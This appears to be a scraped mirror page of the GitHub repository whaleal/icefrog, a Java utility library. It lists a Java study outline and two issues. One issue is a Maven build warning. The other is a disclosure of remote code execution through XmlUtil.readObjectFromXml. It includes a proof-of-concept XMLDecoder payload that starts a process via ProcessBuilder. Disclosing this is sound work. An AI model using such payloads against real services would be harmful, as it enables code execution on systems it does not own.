Coder Social home page Coder Social logo

whaleal / icefrog Goto Github PK

View Code? Open in Web Editor NEW
8.0 8.0 3.0 4.78 MB

【 Java 工具类集合 】 IceFrog is a suite of core and expanded libraries that include utility classes, collections, I/O classes, and much more.a tools like Guava ,apache commons,hutool. 以这些类库为基础，造自己的轮子。

Home Page: https://docs.whaleal.com/icefrog/

License: Apache License 2.0

Shell 0.04% Java 99.96% FreeMarker 0.01% HTML 0.01% JavaScript 0.01%
icefrog java tools

icefrog's Introduction

JavaBasic

JavaBasic

第一部分:Java基础知识

第二部分:核心技术

第三部分:高级应用

  • 单元测试和JUnit

    • 单元测试
    • JUnit

  • 高级文本处理

    • Java字符编码
    • Java国际化编程
    • Java高级字符串处理

  • 高级文件处理

    • 未整理
    • XML简介
    • XML解析(DOM方法)
    • XML解析(SAX方法)
    • XML解析(Stax方法)
    • JSON简介及解析
    • 图形图像简介及解析
      • 条形码和二维码简介及解析
    • Docx简介及解析
    • 表格文件简介及解析
    • PDF简介及解析

  • Java混合编程

    • Java调用Java程序(RMI)
    • Java调用C程序(JNI)
    • Java调用Javascript程序(Nashorn)
    • Java调用Python程序(Jython)
    • Java调用Web Service
    • Java调用命令行

  • JVM 指令集翻译

  • JVM 内存模型

  • JVM 类家在机制

  • JVM 垃圾回收机制

  • 正确 使用Volatile

  • JMM 线程内存模型

  • CAS 与 AQS

  • 公平同步--公平锁 及相关知识

  • Java多线程和并发编程

    • 多进程和多线程简介
    • Java多线程实现
    • Java多线程信息共享
    • Java多线程管理(1)
    • Java多线程管理(2)
    • Java并发框架Executor
    • Java并发框架Fork-Join
    • Java并发数据结构
    • Java并发协作控制(1)
    • Java并发协作控制(2)
    • Java定时任务执行

  • Swing 看看框架设计

第四部分:项目实战

icefrog's People

Contributors

githublhp123 avatar hbnking avatar zzbka avatar

Stargazers

avatar avatar avatar avatar avatar avatar avatar avatar

Watchers

avatar avatar

Forkers

hbnking githublhp123 whalefalls0807

icefrog's Issues

maven install missing plugin version

在执行 maven install 的过程中 报错如下
版本1.0.0

Some problems were encountered while building the effective model for com.whaleal.icefrog:icefrog-script:jar:1.0.0
'build.plugins.plugin.version' for org.apache.maven.plugins:maven-deploy-plugin is missing. @ com.whaleal.icefrog:icefrog:1.0.0, /Users/wh/Resources/Code/icefrog/pom.xml, line 154, column 21
Some problems were encountered while building the effective model for com.whaleal.icefrog:icefrog-setting:jar:1.0.0
'build.plugins.plugin.version' for org.apache.maven.plugins:maven-deploy-plugin is missing. @ com.whaleal.icefrog:icefrog:1.0.0, /Users/wh/Resources/Code/icefrog/pom.xml, line 154, column 21
Some problems were encountered while building the effective model for com.whaleal.icefrog:icefrog-system:jar:1.0.0
'build.plugins.plugin.version' for org.apache.maven.plugins:maven-deploy-plugin is missing. @ com.whaleal.icefrog:icefrog:1.0.0, /Users/wh/Resources/Code/icefrog/pom.xml, line 154, column 21
Some problems were encountered while building the effective model for com.whaleal.icefrog:icefrog-json:jar:1.0.0

Remote Code Execution caused by XmlUtil.readObjectFromXml() via untrusted XML String

Description

icefrog-core provides XML utility classes that may be vulnerable to remote code execution when using XmlUtil.readObjectFromXml to interpret untrusted XML strings.

Detail

The program will call XMLDecoder.readObject to parse the XML string, causing a deserialization vulnerability.

Version

<= 1.1.8

POC

    private static final String XML_STR = "<java>\n" +
            "    <object class=\"java.lang.ProcessBuilder\">\n" +
            "        <array class=\"java.lang.String\" length=\"1\">\n" +
            "            <void index=\"0\">\n" +
            "                <string>calc</string>\n" +
            "            </void>\n" +
            "        </array>\n" +
            "        <void method=\"start\"></void>\n" +
            "    </object>\n" +
            "</java>\n";
    
      public static void main(String[] args) {
          XmlUtil.readObjectFromXml(XML_STR);
      }

Attack

image

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.